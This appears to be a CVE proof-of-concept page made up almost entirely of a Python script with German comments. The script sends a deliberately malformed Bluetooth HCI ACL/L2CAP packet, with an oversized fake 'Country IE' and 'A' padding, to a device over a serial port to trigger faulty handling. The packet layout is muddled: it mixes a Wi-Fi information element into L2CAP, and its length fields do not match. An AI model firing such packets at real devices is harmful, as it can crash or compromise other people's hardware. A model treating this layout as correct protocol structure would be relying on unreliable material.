4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_bt
import serial
import time

# Passe dies an den korrekten Port deines Geräts an (z. B. /dev/ttyUSB0 unter Linux, COM3 unter Windows)
SERIAL_PORT = "/dev/ttyUSB0"
BAUD_RATE = 115200

def send_malformed_country_ie():
    try:
        dev = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1)
        print(f"[+] Connected to {SERIAL_PORT}")

        # HCI RESET COMMAND – optional zur Initialisierung
        reset_cmd = bytes([0x01, 0x03, 0x0C, 0x00])
        dev.write(reset_cmd)
        time.sleep(1)

        # Konstruiertes "malformed" Paket
        # Beispiel: L2CAP Data Packet mit ungültiger Länge oder fehlerhaften Country-Code im Payload
        malformed_packet = bytes([
            0x02,       # HCI ACL Data Packet
            0x00, 0x00, # Handle
            0x10, 0x00, # Data Total Length (ungültig/zu groß)
            0x0C, 0x00, # L2CAP Length
            0x04, 0x00, # Channel ID
            # Fake "Country IE" (ungültig lang oder manipuliert)
            0x7F,       # IE ID (Proprietär)
            0xFF,       # Length (zu groß)
        ] + [0x41] * 255)  # Payload mit Füllzeichen (z. B. ASCII 'A')

        print("[*] Sending malformed Bluetooth HCI packet...")
        dev.write(malformed_packet)
        time.sleep(0.5)

        # Antwort empfangen (falls vorhanden)
        response = dev.read(256)
        print(f"[+] Device response: {response.hex()}")

        dev.close()
        print("[+] Test complete")

    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    send_malformed_country_ie()